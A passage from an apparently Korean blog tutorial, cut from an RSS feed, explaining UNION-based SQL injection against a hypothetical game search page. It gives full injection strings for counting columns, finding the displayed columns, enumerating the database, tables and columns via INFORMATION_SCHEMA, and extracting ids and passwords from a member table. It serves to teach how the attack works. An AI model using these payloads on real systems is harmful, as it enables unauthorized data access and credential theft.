<pre><code class="language-sql">SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE &#39;%[입력받은 검색어]%&#39;</code></pre>
<p>우리는 여기서 <code>[게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...]</code> 이 부분에 정확히 몇 개의 컬럼이 있는 것인지 알아야 합니다</p>
<p>이 컬럼의 개수를 알아내기 위해 <strong>ORDER BY</strong>를 활용할 수 있습니다</p>
<pre><code class="language-sql">SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE &#39;%[입력받은 검색어]%&#39;</code></pre>
<p>위 쿼리문에서 컬럼 이름도, 컬럼이 몇 개 있는 지도 모르지만 <strong>ORDER BY 인덱스</strong> 방법으로 정렬시킬 수 있습니다</p>
<p>검색어에 <code>%&#39; ORDER BY [인덱스]#</code> 을 입력해,</p>
<pre><code class="language-sql">SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE &#39;%%&#39; ORDER BY [인덱스]#%&#39;</code></pre>
<p>형태가 되도록 만드는 것입니다</p>
<p>만약 컬럼이 4개 였다고 한다면, <code>ORDER BY 1</code> 부터 <code>ORDER BY 4</code> 까지는 정상 작동하지만 <code>ORDER BY 5</code> 를 입력하는 순간부터 에러가 날 것 입니다</p>
<p>왜냐면 컬럼이 4개밖에 없으니 5번째 컬럼으로 정렬하라는 명령은 실행될 수 없기 때문입니다</p>
<p>이렇게 <strong>인덱스를 1부터 하나씩 늘려나가며 에러가 발생하는 인덱스를 찾아 컬럼의 개수를 알아냅니다</strong></p>
<h4 id="3-출력되는-column-위치-찾기">3. 출력되는 column 위치 찾기</h4>
<p>이제 우리는 실제 서버의 SELECT 쿼리문에 몇 개의 컬럼이 선택되고 있는 지 알고 있습니다</p>
<p>그런데 쿼리문에서 선택된 컬럼이 모두 웹페이지에 출력되는 것은 아닙니다</p>
<p>만약 4개의 컬럼이 SELECT 되고 있다고 해도 그 중 몇 개만 실제 페이지에 출력하고 있을 수도 있습니다</p>
<p>그렇다면 UNION을 통해 다른 테이블에서 원하는 데이터를 4개 추출하더라도 페이지에 출력되지 않아 추출한 데이터를 확인하지 못하는 상황이 생깁니다</p>
<p>따라서 <strong>4개의 컬럼 중 몇 개의 컬럼이 실제로 출력되고 있는지,</strong> </p>
<p>그리고 <strong>출력되는 컬럼은 4개의 컬럼 중 몇번째 컬럼들인지</strong> 확인해야 합니다</p>
</br>

<p>위의 게임 검색 창을 다시 예시로 들어보겠습니다</p>
<p>게임을 검색했더니 게임 이름, 제작사, 평점 3가지 정보가 출력된다고 합시다</p>
<p>그럼 4개의 컬럼 중 3개만 출력이 되고 있는 상황이네요</p>
<p>4개의 컬럼 중 몇 번째 컬럼이 출력되고 있는 지 알아내기 위해 검색창에 <code>%&#39; UNION SELECT 1,2,3,4</code> 를 주입합니다</p>
<p>그럼 SQL의 실행 결과에는 컬럼이 4개인 결과 테이블의 마지막 행 각 컬럼에 1, 2, 3, 4가 추가되어 있을 것입니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/54fd910a-1ced-4949-8e23-59268784419d/image.png" alt=""></p>
<p>이런 형식으로요</p>
<p>그런데 이 중 웹페이지에 출력된 데이터는 2, 3, 4 밖에 없다고 합시다</p>
<p>그럼 1번째 컬럼은 SELECT 쿼리를 통해 추출되긴 했지만, 실제 페이지에는 출력되지 않는 컬럼입니다</p>
<p>이제 실제 서버의 SQL 문은 4개의 컬럼을 SELECT 하고, 이 4개의 컬럼 중 1번째 컬럼은 웹 페이지에 출력되지 않는다는 것까지 알아냈습니다</p>
<h4 id="4-db-이름-확인">4. DB 이름 확인</h4>
<p>UNION을 이용해 DB의 다른 중요한 정보를 추출하려면 우선 DB의 이름을 알아야 합니다</p>
<p>DB의 이름은 <code>select database()</code> 를 통해 알 수 있습니다</p>
<p>그렇다면 이 쿼리를 어떻게 주입하면 될까요?</p>
<p>마찬가지로 UNION을 활용해 <code>%&#39; UNION SELECT 1, database(), 3, 4#</code> 를 검색하면 아래와 같은 쿼리가 완성됩니다</p>
<pre><code class="language-sql">SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE &#39;%%&#39; UNION SELECT 1, database(), 3, 4#%&#39;</code></pre>
<p>1번째 컬럼은 출력되지 않는다고 했으니, 이 쿼리의 결과 테이블 마지막 행에는 데이터베이스 이름과 3, 4가 출력되겠네요</p>
<p>이렇게 DB 이름을 알아냈습니다</p>
<h4 id="5-table-이름-확인">5. table 이름 확인</h4>
<p>DB 이름을 알아냈으니 이제 해당 DB 안에 어떤 테이블이 있는지 알 차례입니다</p>
<p>어떻게 알 수 있을까요?</p>
<p>mysql에는 <code>INFORMATION_SCHEMA</code> 라는 DB의 메타 데이터(table, column 등의 정보)를 저장하는 시스템 DB가 존재합니다</p>
<p>이 <code>INFORMATION_SCHEMA</code> 에 DB 안의 table 명을 저장하는 table인 <code>INFORMATION_SCHEMA.TABLES</code> 가 존재합니다</p>
<p>이 <code>INFORMATION_SCHEMA.TABLES</code> 에는 여러 컬럼이 있는데, </p>
<p>그 중 테이블의 이름을 저장하는 컬럼 이름은 <code>TABLE_NAME</code> , 각 테이블이 속한 DB 명이 저장되는 컬럼 이름은 <code>TABLE_SCHEMA</code> 입니다</p>
<p>자 그렇다면 어떤 DB 안에 어떤 테이블이 있는 지 조회하는 SQL 쿼리는 어떻게 작성하면 될까요?</p>
<pre><code class="language-sql">SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;[해당 DB명]&#39;</code></pre>
<p>이렇게 작성하면 되겠네요</p>
<p>이 SQL문을 UNION을 활용해 게임 검색 쿼리에 잘 끼워넣어, 화면에 테이블 명을 출력해야 합니다</p>
<p>그럼 우리가 검색해야 할 것은 <code>%&#39; UNION SELECT 1, TABLE_NAME, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;[해당 DB명]&#39;#</code> 이 됩니다</p>
<p>이 쿼리를 게임 검색 창에 입력했을 때 서버 내부의 SQL 쿼리는 아래와 같을 것으로 예상할 수 있습니다</p>
<pre><code class="language-sql">SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE &#39;%%&#39; UNION SELECT 1, TABLE_NAME, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;[해당 DB명]&#39;#%&#39;</code></pre>
<p>이 결과로 결과 테이블의 마지막 부분에 해당 DB에 있는 테이블명들이 쭉 출력될 것입니다</p>
<p>이제 우리는 테이블 명까지 알아냈습니다</p>
<h4 id="6-column-이름-확인">6. column 이름 확인</h4>
<p>DB 이름과 테이블 이름까지 알았으니 이제 컬럼 명만 알면 정말 SELECT 문을 완성시킬 수 있겠네요</p>
<p>테이블에 있는 컬럼 이름 역시 테이블 이름을 찾을 때처럼 시스템 데이터베이스인 <code>INFORMATION_SCHEMA</code> 에서 찾을 수 있습니다</p>
<p><code>INFORMATION_SCHEMA</code> 에는 table 내 컬럼 정보들을 저장하는 table인 <code>INFORMATION_SCHEMA.COLUMNS</code> 라는 테이블이 존재합니다</p>
<p>이 <code>INFORMATION_SCHEMA.COLUMNS</code> 에서 DB의 컬럼 이름들을 저장하는 컬럼 명은 <code>COLUMN_NAME</code> , 각 컬럼이 속한 테이블 정보를 저장하는 컬럼 명은 <code>TABLE_NAME</code> 입니다</p>
<p>그럼 컬럼 이름을 조회하는 SQL문을 어떻게 작성하면 될까요?</p>
<pre><code class="language-sql">SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;</code></pre>
<p>이렇게 작성하면 되겠네요</p>
<p>우리는 이 SQL문을 UNION을 활용해 검색 공간에 잘 끼워 넣어, 웹페이지에서 컬럼 이름들이 출력되도록 만들어야 합니다</p>
<p>그럼 서버 내부의 SQL 쿼리가 아래와 같이 완성되도록 만들어야 겠네요</p>
<pre><code class="language-sql">SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE &#39;%%&#39; UNION SELECT 1, COLUMN_NAME, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;#%&#39;</code></pre>
<p>그러니까 우리가 검색 창에 입력해야 할 것은 <code>%&#39; UNION SELECT 1, COLUMN_NAME, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;#</code> 입니다</p>
<h4 id="7-데이터-추출하기">7. 데이터 추출하기</h4>
<p>이제 DB 이름, 테이블 이름, 컬럼 이름까지 알았으니 데이터를 추출할 차례입니다</p>
<p>지금까지 알아낸 정보로 SELECT문을 작성하면</p>
<p><code>SELECT [해당 컬럼 명] FROM [해당 테이블 명]</code> 입니다</p>
<p>예를 들어 알아낸 테이블 명이 member, 알아낸 컬럼 명이 id와 pass라면,</p>
<p><code>SELECT id, pass FROM member</code> 이렇게 쿼리를 작성할 수 있습니다</p>
<p>이제 이 쿼리를 UNION을 활용해 서버 내부의 쿼리에 잘 끼워넣으면 성공입니다</p>
<p>서버의 쿼리는 select 된 컬럼이 4개이고 그 중 첫번째 컬럼은 웹에 출력이 되지 않으니, 우리가 최종적으로 만들어야 할 쿼리문은 아래와 같습니다</p>
<pre><code class="language-sql">SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE &#39;%%&#39; UNION SELECT 1, id, pass, 4 FROM member#%&#39;</code></pre>
<p>그렇다면 우리가 원하는 데이터를 출력하기 위해서 검색해야 할 것은 <code>%&#39; UNION SELECT 1, id, pass, 4 FROM member#</code> 가 됩니다</p>
</br>

<p>이렇게 웹에 SQL 쿼리의 결과가 출력되는 경우의 UNION SQL Injection에 대해 알아보았습니다</p>
]]></description>
        </item>
    </channel>
</rss>